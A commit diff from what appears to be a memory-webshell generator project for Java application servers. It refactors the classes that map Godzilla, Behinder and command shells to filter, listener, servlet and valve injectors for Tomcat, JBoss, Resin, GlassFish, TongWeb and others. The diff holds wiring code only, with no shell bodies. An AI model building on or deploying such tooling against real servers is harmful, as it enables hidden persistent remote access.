refactor: simplify code

README.md

@@ -32,7 +32,7 @@
 使用 docker 部署之后访问 http://127.0.0.1:8080
 
 ```bash
-docker run -it -d --rm --pull=always --name memshell -p 8080:8080 reajason/memshell-party
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memshell-party
 ```
 
 ## 适配情况
@@ -66,11 +66,11 @@ docker run -it -d --rm --pull=always --name memshell -p 8080:8080 reajason/memsh
 | Filter           | Filter                  |
 | Listener         | Listener                |
 
-| 宝兰德 BES（9.5.x） | 东方通 TongWeb（6 ~ 7） | 中创 InforSuite AS （9 ~ 10） | 金蝶 Apusic AS |
+| 宝兰德 BES（9.5.x） | 东方通 TongWeb（6 ~ 7） | 中创 InforSuite AS （9 ~ 10） | 金蝶 Apusic AS （9） |
-|----------------|--------------------|---------------------------|--------------|
+|----------------|--------------------|---------------------------|------------------|
-| Filter         | Filter             | Filter                    | x            |
+| Filter         | Filter             | Filter                    | Servlet          |
-| Listener       | Listener           | Listener                  | x            |
+| Listener       | Listener           | Listener                  | Filter           |
-| Valve          | Valve              | Valve                     | x            |
+| Valve          | Valve              | Valve                     | Listener         |
 
 ### 内存马功能
 

generator/build.gradle

@@ -62,20 +62,6 @@ dependencies {
     implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
     implementation 'org.springframework:spring-web:4.3.30.RELEASE'
     implementation 'org.springframework:spring-webflux:5.3.24'
-    implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
-        exclude group: 'org.apache.tomcat', module: 'tomcat-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-jni'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-coyote'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-util'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-util-scan'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-annotations-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-el-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-jsp-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
-    }
-
 
     testImplementation platform('org.junit:junit-bom:5.+')
     testImplementation 'org.junit.jupiter:junit-jupiter'

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -10,9 +10,6 @@ import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.lang3.StringUtils;
 
 import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Paths;
-import java.nio.file.StandardOpenOption;
 
 /**
  * @author ReaJason
@@ -22,9 +19,9 @@ public class GeneratorMain {
 
     public static void main(String[] args) throws IOException {
         ShellConfig shellConfig = ShellConfig.builder()
-                .server(Server.JBossAS)
+                .server(Server.Apusic)
-                .shellTool(ShellTool.Behinder)
+                .shellTool(ShellTool.Godzilla)
-                .shellType(Constants.FILTER)
+                .shellType(Constants.SERVLET)
                 .targetJreVersion(Opcodes.V1_6)
                 .debug(true)
                 .build();
@@ -42,7 +39,7 @@ public class GeneratorMain {
 
         InjectorConfig injectorConfig = new InjectorConfig();
 
-        GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
+        GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
         if (generateResult != null) {
 //            Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
 //            Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);

generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java

@@ -1,6 +1,10 @@
 package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.generator.BehinderGenerator;
+import com.reajason.javaweb.memshell.generator.CommandGenerator;
+import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
+import com.reajason.javaweb.memshell.generator.InjectorGenerator;
 import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Collections;

generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java

@@ -6,7 +6,6 @@ import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
 import com.reajason.javaweb.memshell.bes.injector.BesFilterInjector;
 import com.reajason.javaweb.memshell.bes.injector.BesListenerInjector;
 import com.reajason.javaweb.memshell.bes.injector.BesValveInjector;
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -17,19 +16,19 @@ import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/26
  */
 public class BesShell extends AbstractShell {
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class),
+                LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class),
                 VALVE, Pair.of(CommandValve.class, BesValveInjector.class)
         );
     }
@@ -37,8 +36,8 @@ public class BesShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class),
+                LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class),
                 VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class)
         );
     }
@@ -46,8 +45,8 @@ public class BesShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class),
+                LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class),
                 VALVE, Pair.of(BehinderValve.class, BesValveInjector.class)
         );
     }

generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
 import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
 import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
@@ -17,21 +16,21 @@ import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/12
  */
 public class GlassFishShell extends AbstractShell {
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
+                LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
+                JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
                 VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
                 JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
         );
@@ -40,10 +39,10 @@ public class GlassFishShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
+                LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
+                JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
                 VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
                 JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
         );
@@ -52,10 +51,10 @@ public class GlassFishShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
+                LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
+                JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
                 VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
                 JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
         );

generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
 import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
@@ -17,21 +16,21 @@ import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/24
  */
 public class InforSuiteShell extends AbstractShell {
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
+                LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
+                JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
                 VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
                 JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
         );
@@ -40,10 +39,10 @@ public class InforSuiteShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
+                LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
+                JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
                 VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
                 JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
         );
@@ -52,10 +51,10 @@ public class InforSuiteShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
+                LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
+                JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
                 VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
                 JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
         );

generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java

@@ -1,11 +1,14 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
 import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
+import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
+import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
+import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
+import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
 import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
 import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
 import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -13,6 +16,8 @@ import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/10
@@ -22,24 +27,27 @@ public class JbossShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class)
+                LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class),
+                VALVE, Pair.of(CommandValve.class, JbossValveInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
+                LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class),
+                VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
+                LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class),
+                VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class)
         );
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
 import com.reajason.javaweb.memshell.jetty.command.CommandListener;
 import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
@@ -15,7 +14,6 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
 import org.apache.commons.lang3.tuple.Pair;
 
-import java.util.List;
 import java.util.Map;
 
 import static com.reajason.javaweb.memshell.config.Constants.*;

generator/src/main/java/com/reajason/javaweb/memshell/NettyShell.java

@@ -0,0 +1,26 @@
+package com.reajason.javaweb.memshell;
+
+import org.apache.commons.lang3.tuple.Pair;
+
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/26
+ */
+public class NettyShell extends AbstractShell{
+    @Override
+    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
+        return super.getBehinderShellMap();
+    }
+
+    @Override
+    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
+        return super.getCommandShellMap();
+    }
+
+    @Override
+    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
+        return super.getGodzillaShellMap();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java

@@ -1,63 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.config.Constants;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
-import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
-import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2024/12/14
- */
-public class PayaraShell extends AbstractShell {
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        return Map.of(
-                Constants.FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
-                VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class),
-                JAKARTA_VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class)
-        );
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        return Map.of(
-                Constants.FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
-                VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class),
-                JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
-        );
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        return Map.of(
-                Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
-                VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
-                JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
-        );
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java

@@ -1,7 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
-import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
 import com.reajason.javaweb.memshell.resin.command.CommandListener;
 import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
@@ -16,9 +14,10 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
 import org.apache.commons.lang3.tuple.Pair;
 
-import java.util.List;
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/14
@@ -28,36 +27,36 @@ public class ResinShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
+                SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
-                Constants.JAKARTA_SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
+                JAKARTA_SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class),
-                Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class),
+                LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
+                JAKARTA_LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
+                SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
-                Constants.JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
+                JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class),
-                Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class),
+                LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
+                JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
+                SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
-                Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
+                JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
-                Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
+                LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
+                JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
         );
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -17,7 +16,6 @@ import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
 import com.reajason.javaweb.memshell.tomcat.injector.*;
 import org.apache.commons.lang3.tuple.Pair;
 
-import java.util.List;
 import java.util.Map;
 
 import static com.reajason.javaweb.memshell.config.Constants.*;
@@ -28,8 +26,6 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
  */
 public class TomcatShell extends AbstractShell {
     public static final String WEBSOCKET = "WebSocket";
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
     public static final String UPGRADE = "Upgrade";
     public static final String EXECUTOR = "Executor";
 

generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java

@@ -23,8 +23,6 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
  * @since 2024/12/26
  */
 public class TongWeb6Shell extends AbstractShell {
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {

generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java

@@ -23,8 +23,6 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
  * @since 2024/12/26
  */
 public class TongWeb7Shell extends AbstractShell {
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {

generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java

@@ -1,7 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
-import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -16,9 +14,10 @@ import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
 import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
 import org.apache.commons.lang3.tuple.Pair;
 
-import java.util.List;
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/10
@@ -28,36 +27,36 @@ public class UndertowShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
+                SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
-                Constants.JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
+                JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
-                Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
+                LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
+                JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
+                SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
-                Constants.JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
